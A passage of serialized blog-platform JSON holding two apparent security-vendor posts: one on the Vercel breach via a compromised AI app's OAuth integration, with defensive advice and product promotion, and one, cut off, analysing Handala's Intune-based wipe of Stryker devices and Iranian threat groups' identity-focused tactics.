itself.",{"data":63938,"content":63939,"nodeType":1003},{},[63940],{"data":63941,"content":63942,"nodeType":866},{},[63943,63948],{"data":63944,"marks":63945,"value":63947,"nodeType":865},{},[63946],{"type":961},"Shadow extensions:",{"data":63949,"marks":63950,"value":63951,"nodeType":865},{},[]," Many AI apps come with an extension counterpart, along with countless third-party extensions that are either untrustworthy or downright malicious. Browser extensions add another angle to the equation by presenting visibility beyond the application into browser activity. ",{"data":63953,"content":63954,"nodeType":1003},{},[63955],{"data":63956,"content":63957,"nodeType":866},{},[63958,63963],{"data":63959,"marks":63960,"value":63962,"nodeType":865},{},[63961],{"type":961},"Shadow integrations:",{"data":63964,"marks":63965,"value":63966,"nodeType":865},{},[]," OAuth connections across apps that aren’t known or approved. Even if an app itself is approved, plugging that app directly into your primary enterprise apps — with all the sensitive data and functionality therein — isn't necessarily also approved.  ",{"data":63968,"content":63969,"nodeType":866},{},[63970],{"data":63971,"marks":63972,"value":63973,"nodeType":865},{},[],"In the Vercel case, we’re talking specifically about shadow integrations. But all of these present a key risk to your organization. ",{"data":63975,"content":63976,"nodeType":1458},{},[63977],{"data":63978,"marks":63979,"value":63981,"nodeType":865},{},[63980],{"type":961},"The web of OAuth sprawl spans way beyond Google and Microsoft ",{"data":63983,"content":63984,"nodeType":866},{},[63985,63990],{"data":63986,"marks":63987,"value":63989,"nodeType":865},{},[63988],{"type":961},"On average we see 17 unique AI app integrations per organization in Microsoft and Google alone",{"data":63991,"marks":63992,"value":63993,"nodeType":865},{},[],". If you consider that most organizations have probably approved 1 or 2 max for business use, and may have approved none at all for app-to-app OAuth connectivity, that’s quite a significant difference. ",{"data":63995,"content":63996,"nodeType":866},{},[63997],{"data":63998,"marks":63999,"value":64000,"nodeType":865},{},[],"The number of connections outside of these core platforms is significantly higher. Just think how the typical AI app operates. If you want it to be able to effectively automate workflows — pull data from one app, aggregate and analyze it in another, present that information in a report, dashboard, or presentation, and then distribute it — that’s a fair few integrations in just one workflow. MCP connections use OAuth to achieve this interconnectivity in the same way as any other SaaS app.",{"data":64002,"content":64003,"nodeType":866},{},[64004],{"data":64005,"marks":64006,"value":64007,"nodeType":865},{},[],"We used to talk about automation apps like Zapier as being a goldmine for attackers. Well, AI apps are on their way to being even more interconnected, more frequently used, and more flexible in terms of how attackers can abuse them. ",{"data":64009,"content":64013,"nodeType":925},{"target":64010},{"sys":64011},{"id":64012,"type":922,"linkType":923},"4FiWyVw7mpVBA5uBVJoOKL",[],{"data":64015,"content":64016,"nodeType":1458},{},[64017],{"data":64018,"marks":64019,"value":64021,"nodeType":865},{},[64020],{"type":961},"A note on OAuth configuration complexity",{"data":64023,"content":64024,"nodeType":866},{},[64025],{"data":64026,"marks":64027,"value":64028,"nodeType":865},{},[],"A common misconception is that when a regular user consents to an OAuth app (let's use Google Workspace as the example) the app only gets access to the things they can directly access. Technically that's true — the access is scoped to that user's permissions. But in practice, the blast radius is almost always bigger than people think.",{"data":64030,"content":64031,"nodeType":866},{},[64032],{"data":64033,"marks":64034,"value":64035,"nodeType":865},{},[],"The scope includes shared drives, shared calendars, documents shared with them, and any other collaborative resources. A single well-permissioned user (think: developer with access to secrets, dashboards, and internal tooling) is more than enough to cause serious damage through a single OAuth grant. ",{"data":64037,"content":64038,"nodeType":866},{},[64039],{"data":64040,"marks":64041,"value":64042,"nodeType":865},{},[],"The scopes themselves are often deceptively broad. An app requesting https://www.googleapis.com/auth/drive gets full read/write access to everything the user can see in Drive — not just their personal files. And the blast radius is further contingent on the data and user permission hygiene in these broader environments. ",{"data":64044,"content":64045,"nodeType":866},{},[64046],{"data":64047,"marks":64048,"value":64049,"nodeType":865},{},[],"So if your environment hasn't got cleanly separated access and permissions for different users and groups, an attacker compromising a \"normal\" user account can end up with extensive access. You don't need tenant-wide admin access when a normal user's access already spans the crown jewels.",{"data":64051,"content":64055,"nodeType":925},{"target":64052},{"sys":64053},{"id":64054,"type":922,"linkType":923},"2t81AnAHx2On3fBynM4vVe",[],{"data":64057,"content":64058,"nodeType":1458},{},[64059],{"data":64060,"marks":64061,"value":64063,"nodeType":865},{},[64062],{"type":961},"Unsurprisingly, OAuth breaches are stacking up",{"data":64065,"content":64066,"nodeType":866},{},[64067],{"data":64068,"marks":64069,"value":64070,"nodeType":865},{},[],"Widespread OAuth interconnectedness isn’t just an AI app problem. Attackers have been exploiting this for some time:",{"data":64072,"content":64073,"nodeType":1049},{},[64074,64120],{"data":64075,"content":64076,"nodeType":1003},{},[64077],{"data":64078,"content":64079,"nodeType":866},{},[64080,64084,64091,64095,64103,64107,64116],{"data":64081,"marks":64082,"value":64083,"nodeType":865},{},[],"In 2025, ",{"data":64085,"content":64086,"nodeType":882},{"uri":8759},[64087],{"data":64088,"marks":64089,"value":19437,"nodeType":865},{},[64090],{"type":997},{"data":64092,"marks":64093,"value":64094,"nodeType":865},{},[]," launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft (specifically the ",{"data":64096,"content":64097,"nodeType":882},{"uri":39517},[64098],{"data":64099,"marks":64100,"value":64102,"nodeType":865},{},[64101],{"type":997},"Salesloft Drift",{"data":64104,"marks":64105,"value":64106,"nodeType":865},{},[]," platform) and ",{"data":64108,"content":64110,"nodeType":882},{"uri":64109},"https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/",[64111],{"data":64112,"marks":64113,"value":64115,"nodeType":865},{},[64114],{"type":997},"Gainsight",{"data":64117,"marks":64118,"value":64119,"nodeType":865},{},[],". In total, over 1000 organizations were impacted, including Google, Cloudflare, Rubrik, Elastic, Proofpoint, JFrog, Zscaler, Tenable, Palo Alto Networks, CyberArk, BeyondTrust, Qualys, and many more, with over 1.5B records stolen. ",{"data":64121,"content":64122,"nodeType":1003},{},[64123],{"data":64124,"content":64125,"nodeType":866},{},[64126,64130,64139,64143,64152],{"data":64127,"marks":64128,"value":64129,"nodeType":865},{},[],"More recently, Snowflake customers were impacted after a ",{"data":64131,"content":64133,"nodeType":882},{"uri":64132},"https://www.bleepingcomputer.com/news/security/snowflake-customers-hit-in-data-theft-attacks-after-saas-integrator-breach/",[64134],{"data":64135,"marks":64136,"value":64138,"nodeType":865},{},[64137],{"type":997},"breach at data anomaly detection company Anodot",{"data":64140,"marks":64141,"value":64142,"nodeType":865},{},[]," where the attacker attempted to leverage the stolen authentication tokens to access Salesforce data, with ",{"data":64144,"content":64146,"nodeType":882},{"uri":64145},"https://www.bleepingcomputer.com/news/security/stolen-rockstar-games-analytics-data-leaked-by-extortion-gang/",[64147],{"data":64148,"marks":64149,"value":64151,"nodeType":865},{},[64150],{"type":997},"Rockstar",{"data":64153,"marks":64154,"value":64155,"nodeType":865},{},[]," a high-profile victim of the breach (again linked to Scattered Lapsus$ Hunters). ",{"data":64157,"content":64161,"nodeType":925},{"target":64158},{"sys":64159},{"id":64160,"type":922,"linkType":923},"3oqoL9L3fxetFcIhnfQhMQ",[],{"data":64163,"content":64164,"nodeType":953},{},[],{"data":64166,"content":64167,"nodeType":963},{},[64168],{"data":64169,"marks":64170,"value":64172,"nodeType":865},{},[64171],{"type":961},"Infostealers continue to drive corporate breaches",{"data":64174,"content":64175,"nodeType":866},{},[64176],{"data":64177,"marks":64178,"value":64179,"nodeType":865},{},[],"While unverified, Hudson Rock’s case for an infostealer breach being the root cause of the Context.ai breach seems believable. Infostealer infections have been one of the leading security threats for some time, fuelling breaches powered by stolen credentials and session tokens.",{"data":64181,"content":64182,"nodeType":866},{},[64183,64187,64192],{"data":64184,"marks":64185,"value":64186,"nodeType":865},{},[],"With the assumed rise in MFA coverage, it’s often surprising to security teams that stolen credentials are still a problem. ",{"data":64188,"marks":64189,"value":64191,"nodeType":865},{},[64190],{"type":961},"But of the last million logins we saw, 1 in 4 were password logins (not SSO), 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. ",{"data":64193,"marks":64194,"value":64195,"nodeType":865},{},[],"Plenty of scope for abuse. ",{"data":64197,"content":64198,"nodeType":866},{},[64199],{"data":64200,"marks":64201,"value":64202,"nodeType":865},{},[],"Stolen session tokens are even more valuable to attackers, enabling them to bypass authentication controls by replaying the token in their own browser. In theory, they should only be valid for a limited timeframe, but in practice this can be as many as 90 days, and sometimes indefinite. ",{"data":64204,"content":64205,"nodeType":866},{},[64206],{"data":64207,"marks":64208,"value":64209,"nodeType":865},{},[],"In this case, it seems likely that the compromised device was a developer machine (given the access to Supabase), or potentially even a personal device (given they were installing Roblox cheats…). This is relevant because these personal, developer, and BYOD machines are often less secure — developer machines are often exempt from EDR monitoring or significantly tuned-down (too noisy), while personal devices naturally lack enterprise security software.",{"data":64211,"content":64215,"nodeType":925},{"target":64212},{"sys":64213},{"id":64214,"type":922,"linkType":923},"139oaGgwRKZbwJzyex9LA5",[],{"data":64217,"content":64218,"nodeType":866},{},[64219,64223,64231],{"data":64220,"marks":64221,"value":64222,"nodeType":865},{},[],"We’ve also seen an uptick in developer-oriented phishing and malvertising campaigns. The ",{"data":64224,"content":64225,"nodeType":882},{"uri":11342},[64226],{"data":64227,"marks":64228,"value":64230,"nodeType":865},{},[64229],{"type":997},"InstallFix campaign",{"data":64232,"marks":64233,"value":64234,"nodeType":865},{},[]," we identified, intercepting users as they attempt to install AI tools like Claude Code and NotebookLM, is an example of this — and also another way that attackers are capitalizing on AI hype. ",{"data":64236,"content":64237,"nodeType":953},{},[],{"data":64239,"content":64240,"nodeType":963},{},[64241],{"data":64242,"marks":64243,"value":14438,"nodeType":865},{},[64244],{"type":961},{"data":64246,"content":64247,"nodeType":866},{},[64248],{"data":64249,"marks":64250,"value":64251,"nodeType":865},{},[],"There are some immediate next steps that we’ll quickly summarize here, as they've already been covered in wider reporting. If you’re a Vercel customer, you should urgently rotate every credential stored as a non-sensitive variable that could have been exposed, enable the sensitive variable feature toggle, and monitor your account for anomalous activity. And if you’re using the specific Context.ai integration, you need to revoke it ASAP and begin a full audit of the connected accounts, both inside Workspace and broader connected apps (this isn’t that easy, as we’ll highlight in a moment). ",{"data":64253,"content":64257,"nodeType":925},{"target":64254},{"sys":64255},{"id":64256,"type":922,"linkType":923},"76HViirkH2R4QAzWg605sv",[],{"data":64259,"content":64260,"nodeType":866},{},[64261,64265,64273],{"data":64262,"marks":64263,"value":64264,"nodeType":865},{},[],"Taking a step back, organizations really need to get their arms around OAuth integrations in their environment. A default-deny approach to allowing users to consent to new integrations, and routinely auditing the ones already in your environment to ensure they’re still definitely required, is essential. Each integration expands your attack surface and could potentially grant an attacker extensive access to your environment. This default-deny approach isn't exactly a new concept for security teams and is the same in principle as what we recently advised for ",{"data":64266,"content":64267,"nodeType":882},{"uri":27049},[64268],{"data":64269,"marks":64270,"value":64272,"nodeType":865},{},[64271],{"type":997},"browser extension management",{"data":64274,"marks":64275,"value":22525,"nodeType":865},{},[],{"data":64277,"content":64278,"nodeType":866},{},[64279],{"data":64280,"marks":64281,"value":64282,"nodeType":865},{},[],"This is fairly straightforward in your main enterprise cloud environment (think M365 or Google Workspace). But doing it across every SaaS app that allows some level of OAuth integration with another (i.e. every SaaS app) is somewhat harder. Not only do you need to have a comprehensive and up-to-date inventory, you need to be an app admin for every app (not always the case for self-adopted apps) and the particular app needs to give you the control to restrict and remove OAuth grants on behalf of users in your tenant. ",{"data":64284,"content":64285,"nodeType":866},{},[64286],{"data":64287,"marks":64288,"value":64289,"nodeType":865},{},[],"Again, this is not exclusively a Shadow AI problem, even if AI adoption is contributing significantly to the sprawl. ",{"data":64291,"content":64295,"nodeType":925},{"target":64292},{"sys":64293},{"id":64294,"type":922,"linkType":923},"XKKHUiz56G82uwYhbv2Qv",[],{"data":64297,"content":64298,"nodeType":953},{},[],{"data":64300,"content":64301,"nodeType":963},{},[64302],{"data":64303,"marks":64304,"value":3604,"nodeType":865},{},[64305],{"type":961},{"data":64307,"content":64308,"nodeType":866},{},[64309],{"data":64310,"marks":64311,"value":64312,"nodeType":865},{},[],"As we’ve established, there are quite a few pieces to this puzzle. Push can help with all of them. ",{"data":64314,"content":64315,"nodeType":866},{},[64316],{"data":64317,"marks":64318,"value":64319,"nodeType":865},{},[],"Push observes every app login your employees make in their browser, building a comprehensive picture of SaaS and AI use across your organization. This includes how they’re logging in and how secure the login is: did it have MFA, what kind of MFA, was it using a weak or compromised password, did they use SSO, and so on. ",{"data":64321,"content":64325,"nodeType":925},{"target":64322},{"sys":64323},{"id":64324,"type":922,"linkType":923},"2B205bUaLm6vG8mIQ0rJvA",[],{"data":64327,"content":64328,"nodeType":866},{},[64329],{"data":64330,"marks":64331,"value":64332,"nodeType":865},{},[],"Push also tracks OAuth integrations in your environment and gives you the ability to manage and remove them in core environments like M365 and Google Workspace, providing a single platform for you to view, manage, and secure app use across your organization. ",{"data":64334,"content":64338,"nodeType":925},{"target":64335},{"sys":64336},{"id":64337,"type":922,"linkType":923},"eEbdBUfyzZsdIOjFOXHpM",[],{"data":64340,"content":64344,"nodeType":925},{"target":64341},{"sys":64342},{"id":64343,"type":922,"linkType":923},"1MTFxfROuGKxnkHQwWHe8K",[],{"data":64346,"content":64347,"nodeType":866},{},[64348,64352,64357,64361,64366],{"data":64349,"marks":64350,"value":64351,"nodeType":865},{},[],"This makes it easy to surface both vulnerabilities and possible control gaps, and do something about them. But where Push really excels is in the ability to observe and block OAuth connection requests ",{"data":64353,"marks":64354,"value":64356,"nodeType":865},{},[64355],{"type":961},"even outside of your primary enterprise apps.",{"data":64358,"marks":64359,"value":64360,"nodeType":865},{},[]," Using Push, you can detect and block OAuth integration requests as they traverse the browser. This ",{"data":64362,"marks":64363,"value":64365,"nodeType":865},{},[64364],{"type":961},"app-agnostic",{"data":64367,"marks":64368,"value":64369,"nodeType":865},{},[]," level of control is absolutely critical to halting OAuth integration sprawl. ",{"data":64371,"content":64375,"nodeType":925},{"target":64372},{"sys":64373},{"id":64374,"type":922,"linkType":923},"2VZ4uw6MXslXME2ueydGuT",[],{"data":64377,"content":64378,"nodeType":1458},{},[64379,64383],{"data":64380,"marks":64381,"value":64382,"nodeType":865},{},[],"And t",{"data":64384,"marks":64385,"value":64387,"nodeType":865},{},[64386],{"type":961},"hat’s not all …",{"data":64389,"content":64390,"nodeType":866},{},[64391],{"data":64392,"marks":64393,"value":64394,"nodeType":865},{},[],"Push’s browser-based security platform also detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking in real time. This includes the most prominent infostealer delivery vectors in terms of malvertising and *Fix-style attacks. Push analyzes every web page in every browser session and tab for threats, in real time, with no latency. ",{"data":64396,"content":64397,"nodeType":866},{},[64398],{"data":64399,"marks":64400,"value":64401,"nodeType":865},{},[],"But as we've established, you don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.",{"data":64403,"content":64404,"nodeType":866},{},[64405,64408,64414,64417,64424,64427,64433],{"data":64406,"marks":64407,"value":32401,"nodeType":865},{},[],{"data":64409,"content":64410,"nodeType":882},{"uri":22700},[64411],{"data":64412,"marks":64413,"value":22706,"nodeType":865},{},[],{"data":64415,"marks":64416,"value":2186,"nodeType":865},{},[],{"data":64418,"content":64419,"nodeType":882},{"uri":22712},[64420],{"data":64421,"marks":64422,"value":32419,"nodeType":865},{},[64423],{"type":997},{"data":64425,"marks":64426,"value":22722,"nodeType":865},{},[],{"data":64428,"content":64429,"nodeType":882},{"uri":1728},[64430],{"data":64431,"marks":64432,"value":22730,"nodeType":865},{},[],{"data":64434,"marks":64435,"value":1048,"nodeType":865},{},[],"Unpacking the Vercel breach: A cautionary tale for Shadow AI and OAuth sprawl","In April 2026, Vercel was compromised via an OAuth app integrated into their Google Workspace tenant stemming from a compromised third-party AI SaaS provider.","2026-04-23T00:00:00.000Z","unpacking-the-vercel-breach",{"items":64441},[64442,64444],{"sys":64443,"name":11426},{"id":11425},{"sys":64445,"name":342},{"id":8410},{"items":64447},[64448],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":64449},{"url":11434},{"__typename":1788,"sys":64451,"content":64453,"title":65355,"synopsis":65356,"hashTags":59,"publishedDate":65357,"slug":65358,"tagsCollection":65359,"authorsCollection":65365},{"id":64452},"10hUzI9iiY8fFtmlA0M9Ne",{"json":64454},{"data":64455,"content":64456,"nodeType":1739},{},[64457,64464,64470,64489,64492,64500,64507,64514,64517,64525,64532,64703,64710,64717,64720,64728,64735,64742,64749,64756,64759,64767,64786,64793,64801,64808,64953,64971,64979,64986,65121,65140,65146,65149,65157,65164,65171,65178,65181,65189,65229,65260,65267,65273,65276,65283,65290,65297,65304,65307,65315,65322],{"data":64458,"content":64459,"nodeType":866},{},[64460],{"data":64461,"marks":64462,"value":64463,"nodeType":865},{},[],"On the morning of March 11, employees at Stryker Corporation offices across 79 countries turned on their laptops and found them wiped and unusable. Personal phones enrolled in the company's BYOD program had been factory reset overnight, taking photos, banking apps, and authenticator tokens with them. Login pages had also been defaced with the logo of Handala, a persona operated by Iran's Ministry of Intelligence and Security (MOIS).",{"data":64465,"content":64469,"nodeType":925},{"target":64466},{"sys":64467},{"id":64468,"type":922,"linkType":923},"6JtlGFq0RDoW9g6zyAcPvn",[],{"data":64471,"content":64472,"nodeType":866},{},[64473,64477,64485],{"data":64474,"marks":64475,"value":64476,"nodeType":865},{},[],"In a break from the standard Handala playbook, there was no ransomware, no malware, and no exploit chain. The attacker ",{"data":64478,"content":64480,"nodeType":882},{"uri":64479},"https://www.bleepingcomputer.com/news/security/stryker-attack-wiped-tens-of-thousands-of-devices-no-malware-needed/",[64481],{"data":64482,"marks":64483,"value":64484,"nodeType":865},{},[],"simply logged into Microsoft Intune",{"data":64486,"marks":64487,"value":64488,"nodeType":865},{},[]," with compromised Global Administrator credentials, abused a legitimate feature, and wiped over 80,000 systems, servers, and mobile devices.",{"data":64490,"content":64491,"nodeType":953},{},[],{"data":64493,"content":64494,"nodeType":963},{},[64495],{"data":64496,"marks":64497,"value":64499,"nodeType":865},{},[64498],{"type":961},"What a Handala attack was supposed to look like",{"data":64501,"content":64502,"nodeType":866},{},[64503],{"data":64504,"marks":64505,"value":64506,"nodeType":865},{},[],"Handala has a reputation for being a manual, hands-on intrusion team whose TTPs have typically included VPN credential brute-force for initial access (hundreds of logon attempts from commercial VPN nodes), supply chain compromise via managed service providers, RDP as the primary lateral movement method, ADRecon for Active Directory enumeration, LSASS credential dumping via comsvcs.dll, and GPO logon scripts for wiper distribution.",{"data":64508,"content":64509,"nodeType":866},{},[64510],{"data":64511,"marks":64512,"value":64513,"nodeType":865},{},[],"If you had invested in detection logic around Handala's documented toolkit (BiBi Wiper file extensions, Cl Wiper's EldoS RawDisk driver calls, No-Justice partition table manipulation, Karma Shell's Base64-with-XOR web shell patterns) none of it would have fired. Wiper malware signatures, web shell indicators, RawDisk driver loading, MBR/GPT manipulation, SharePoint exploitation patterns, anomalous RDP/SMB lateral movement: all reasonable detection priorities given the group's threat intelligence profile, but all irrelevant when it mattered most.",{"data":64515,"content":64516,"nodeType":953},{},[],{"data":64518,"content":64519,"nodeType":963},{},[64520],{"data":64521,"marks":64522,"value":64524,"nodeType":865},{},[64523],{"type":961},"What Handala actually did",{"data":64526,"content":64527,"nodeType":866},{},[64528],{"data":64529,"marks":64530,"value":64531,"nodeType":865},{},[],"The Stryker attack departs from the documented baseline across the kill chain.",{"data":64533,"content":64534,"nodeType":2396},{},[64535,64571,64604,64637,64670],{"data":64536,"content":64537,"nodeType":1869},{},[64538,64549,64560],{"data":64539,"content":64540,"nodeType":13791},{},[64541],{"data":64542,"content":64543,"nodeType":866},{},[64544],{"data":64545,"marks":64546,"value":64548,"nodeType":865},{},[64547],{"type":961},"Kill chain phase",{"data":64550,"content":64551,"nodeType":13791},{},[64552],{"data":64553,"content":64554,"nodeType":866},{},[64555],{"data":64556,"marks":64557,"value":64559,"nodeType":865},{},[64558],{"type":961},"Historical TTP",{"data":64561,"content":64562,"nodeType":13791},{},[64563],{"data":64564,"content":64565,"nodeType":866},{},[64566],{"data":64567,"marks":64568,"value":64570,"nodeType":865},{},[64569],{"type":961},"Stryker TTP",{"data":64572,"content":64573,"nodeType":1869},{},[64574,64584,64594],{"data":64575,"content":64576,"nodeType":1835},{},[64577],{"data":64578,"content":64579,"nodeType":866},{},[64580],{"data":64581,"marks":64582,"value":64583,"nodeType":865},{},[],"Initial access",{"data":64585,"content":64586,"nodeType":1835},{},[64587],{"data":64588,"content":64589,"nodeType":866},{},[64590],{"data":64591,"marks":64592,"value":64593,"nodeType":865},{},[],"VPN credential brute-force, supply chain compromise of managed service providers and IT vendors, spearphishing with wiper delivery, exploitation of SharePoint and Windows server vulnerabilities",{"data":64595,"content":64596,"nodeType":1835},{},[64597],{"data":64598,"content":64599,"nodeType":866},{},[64600],{"data":64601,"marks":64602,"value":64603,"nodeType":865},{},[],"Identity compromise targeting Microsoft Entra ID",{"data":64605,"content":64606,"nodeType":1869},{},[64607,64617,64627],{"data":64608,"content":64609,"nodeType":1835},{},[64610],{"data":64611,"content":64612,"nodeType":866},{},[64613],{"data":64614,"marks":64615,"value":64616,"nodeType":865},{},[],"Persistence",{"data":64618,"content":64619,"nodeType":1835},{},[64620],{"data":64621,"content":64622,"nodeType":866},{},[64623],{"data":64624,"marks":64625,"value":64626,"nodeType":865},{},[],"Web shells (Karma Shell, reGeorg)",{"data":64628,"content":64629,"nodeType":1835},{},[64630],{"data":64631,"content":64632,"nodeType":866},{},[64633],{"data":64634,"marks":64635,"value":64636,"nodeType":865},{},[],"Global Administrator access to cloud tenant, no persistence mechanism needed",{"data":64638,"content":64639,"nodeType":1869},{},[64640,64650,64660],{"data":64641,"content":64642,"nodeType":1835},{},[64643],{"data":64644,"content":64645,"nodeType":866},{},[64646],{"data":64647,"marks":64648,"value":64649,"nodeType":865},{},[],"Lateral movement",{"data":64651,"content":64652,"nodeType":1835},{},[64653],{"data":64654,"content":64655,"nodeType":866},{},[64656],{"data":64657,"marks":64658,"value":64659,"nodeType":865},{},[],"RDP, SMB, FTP, Mimikatz",{"data":64661,"content":64662,"nodeType":1835},{},[64663],{"data":64664,"content":64665,"nodeType":866},{},[64666],{"data":64667,"marks":64668,"value":64669,"nodeType":865},{},[],"None required, Intune console provides global reach from a single session",{"data":64671,"content":64672,"nodeType":1869},{},[64673,64683,64693],{"data":64674,"content":64675,"nodeType":1835},{},[64676],{"data":64677,"content":64678,"nodeType":866},{},[64679],{"data":64680,"marks":64681,"value":64682,"nodeType":865},{},[],"Impact",{"data":64684,"content":64685,"nodeType":1835},{},[64686],{"data":64687,"content":64688,"nodeType":866},{},[64689],{"data":64690,"marks":64691,"value":64692,"nodeType":865},{},[],"Custom wiper malware (BiBi, Cl Wiper, No-Justice, Hatef)",{"data":64694,"content":64695,"nodeType":1835},{},[64696],{"data":64697,"content":64698,"nodeType":866},{},[64699],{"data":64700,"marks":64701,"value":64702,"nodeType":865},{},[],"Microsoft Intune Remote Wipe, a legitimate built-in administrative feature",{"data":64704,"content":64705,"nodeType":866},{},[64706],{"data":64707,"marks":64708,"value":64709,"nodeType":865},{},[],"An organization with detections built around malware signatures, file system manipulation, and anomalous process execution would be unprepared for an attack with zero malware artifacts, where every action was a legitimate administrative command.",{"data":64711,"content":64712,"nodeType":866},{},[64713],{"data":64714,"marks":64715,"value":64716,"nodeType":865},{},[],"But while the methods were different, the core objective — mass destruction of data — is entirely consistent with previous campaigns, just through a legitimate management plane rather than custom malware.",{"data":64718,"content":64719,"nodeType":953},{},[],{"data":64721,"content":64722,"nodeType":963},{},[64723],{"data":64724,"marks":64725,"value":64727,"nodeType":865},{},[64726],{"type":961},"The kill chain looks different now",{"data":64729,"content":64730,"nodeType":866},{},[64731],{"data":64732,"marks":64733,"value":64734,"nodeType":865},{},[],"The attack path was devastatingly simple. It didn't require lateral movement because there was nothing to move laterally through. It didn't require privilege escalation because they directly compromised a global administrator account. Every device managed by Intune was already within reach.",{"data":64736,"content":64737,"nodeType":866},{},[64738],{"data":64739,"marks":64740,"value":64741,"nodeType":865},{},[],"The traditional network-centric kill chain collapses into: compromise identity, access management plane, execute objective.",{"data":64743,"content":64744,"nodeType":866},{},[64745],{"data":64746,"marks":64747,"value":64748,"nodeType":865},{},[],"This is not specific to Iran-aligned actors. Russian groups are leveraging AITM phishing kits and abusing Microsoft 365 OAuth tokens via consent attacks. Scattered Spider built an operational model around social engineering and SSO account takeover. And now Handala has demonstrated that a nation-state destructive operation can be executed entirely by abusing legitimate enterprise tooling.",{"data":64750,"content":64751,"nodeType":866},{},[64752],{"data":64753,"marks":64754,"value":64755,"nodeType":865},{},[],"This kind of attack is more direct, faster to execute, and carries a significantly lower barrier to entry. You don't need custom malware and exploit development when you can log in using as-a-Service kits or partner with an access brokering specialist.",{"data":64757,"content":64758,"nodeType":953},{},[],{"data":64760,"content":64761,"nodeType":963},{},[64762],{"data":64763,"marks":64764,"value":64766,"nodeType":865},{},[64765],{"type":961},"The big picture of Iranian cyber TTPs",{"data":64768,"content":64769,"nodeType":866},{},[64770,64774,64782],{"data":64771,"marks":64772,"value":64773,"nodeType":865},{},[],"Iran's offensive cyber capability is split between two rival intelligence bureaucracies. The Ministry of Intelligence and Security (MOIS) runs groups like APT34, MuddyWater, Scarred Manticore, and Void Manticore (Handala), which tend toward long-dwell espionage and coordinated destructive operations, often using a ",{"data":64775,"content":64777,"nodeType":882},{"uri":64776},"https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel/",[64778],{"data":64779,"marks":64780,"value":64781,"nodeType":865},{},[],"documented dual-actor handoff model",{"data":64783,"marks":64784,"value":64785,"nodeType":865},{},[]," where Scarred Manticore conducts stealthy espionage before handing targets to Void Manticore (Handala) for destruction.",{"data":64787,"content":64788,"nodeType":866},{},[64789],{"data":64790,"marks":64791,"value":64792,"nodeType":865},{},[],"The Islamic Revolutionary Guard Corps (IRGC) runs a wider set of groups, including APT33/Peach Sandstorm, APT35/Charming Kitten, APT42, Tortoiseshell/Imperial Kitten, Cotton Sandstorm, and CyberAv3ngers. IRGC groups cover espionage, destructive attacks, influence operations, election interference, ICS targeting across U.S. water and wastewater facilities), and individual surveillance.",{"data":64794,"content":64795,"nodeType":1458},{},[64796],{"data":64797,"marks":64798,"value":64800,"nodeType":865},{},[64799],{"type":961},"IRGC groups have already shifted to identity-first TTPs",{"data":64802,"content":64803,"nodeType":866},{},[64804],{"data":64805,"marks":64806,"value":64807,"nodeType":865},{},[],"On the IRGC side, the shift toward identity-centric operations is well-documented:",{"data":64809,"content":64810,"nodeType":1049},{},[64811,64862,64900,64927],{"data":64812,"content":64813,"nodeType":1003},{},[64814],{"data":64815,"content":64816,"nodeType":866},{},[64817,64822,64826,64834,64838,64846,64850,64858],{"data":64818,"marks":64819,"value":64821,"nodeType":865},{},[64820],{"type":961},"APT33/Peach Sandstorm",{"data":64823,"marks":64824,"value":64825,"nodeType":865},{},[]," shifted decisively toward credential-based initial access starting in early 2023, with Microsoft ",{"data":64827,"content":64829,"nodeType":882},{"uri":64828},"https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/",[64830],{"data":64831,"marks":64832,"value":64833,"nodeType":865},{},[],"documenting",{"data":64835,"marks":64836,"value":64837,"nodeType":865},{},[]," large-scale password spray campaigns targeting thousands of organizations, ",{"data":64839,"content":64841,"nodeType":882},{"uri":64840},"https://www.bleepingcomputer.com/news/security/iranian-hackers-breach-defense-orgs-in-password-spray-attacks/",[64842],{"data":64843,"marks":64844,"value":64845,"nodeType":865},{},[],"Golden SAML",{"data":64847,"marks":64848,"value":64849,"nodeType":865},{},[]," attacks for persistent cloud access, and the use of ",{"data":64851,"content":64853,"nodeType":882},{"uri":64852},"https://www.microsoft.com/en-us/security/blog/2024/08/28/peach-sandstorm-deploys-new-custom-tickler-malware-in-long-running-intelligence-gathering-operations/",[64854],{"data":64855,"marks":64856,"value":64857,"nodeType":865},{},[],"fraudulent Azure subscriptions",{"data":64859,"marks":64860,"value":64861,"nodeType":865},{},[]," for C2 infrastructure.",{"data":64863,"content":64864,"nodeType":1003},{},[64865],{"data":64866,"content":64867,"nodeType":866},{},[64868,64873,64876,64884,64888,64896],{"data":64869,"marks":64870,"value":64872,"nodeType":865},{},[64871],{"type":961},"APT42",{"data":64874,"marks":64875,"value":2186,"nodeType":865},{},[],{"data":64877,"content":64879,"nodeType":882},{"uri":64878},"https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations",[64880],{"data":64881,"marks":64882,"value":64883,"nodeType":865},{},[],"assessed by Mandiant to operate on behalf of the IRGC-IO, ",{"data":64885,"marks":64886,"value":64887,"nodeType":865},{},[],"has made credential harvesting and MFA bypass its core competency, operating almost entirely within cloud environments post-compromise and ",{"data":64889,"content":64891,"nodeType":882},{"uri":64890},"https://cloud.google.com/blog/topics/threat-intelligence/apt42-charms-cons-compromises",[64892],{"data":64893,"marks":64894,"value":64895,"nodeType":865},{},[],"registering its own Microsoft Authenticator",{"data":64897,"marks":64898,"value":64899,"nodeType":865},{},[]," on compromised accounts for persistent access.",{"data":64901,"content":64902,"nodeType":1003},{},[64903],{"data":64904,"content":64905,"nodeType":866},{},[64906,64911,64915,64923],{"data":64907,"marks":64908,"value":64910,"nodeType":865},{},[64909],{"type":961},"APT35",{"data":64912,"marks":64913,"value":64914,"nodeType":865},{},[]," (aka Imperial Kitten/Tortoiseshell) was observed 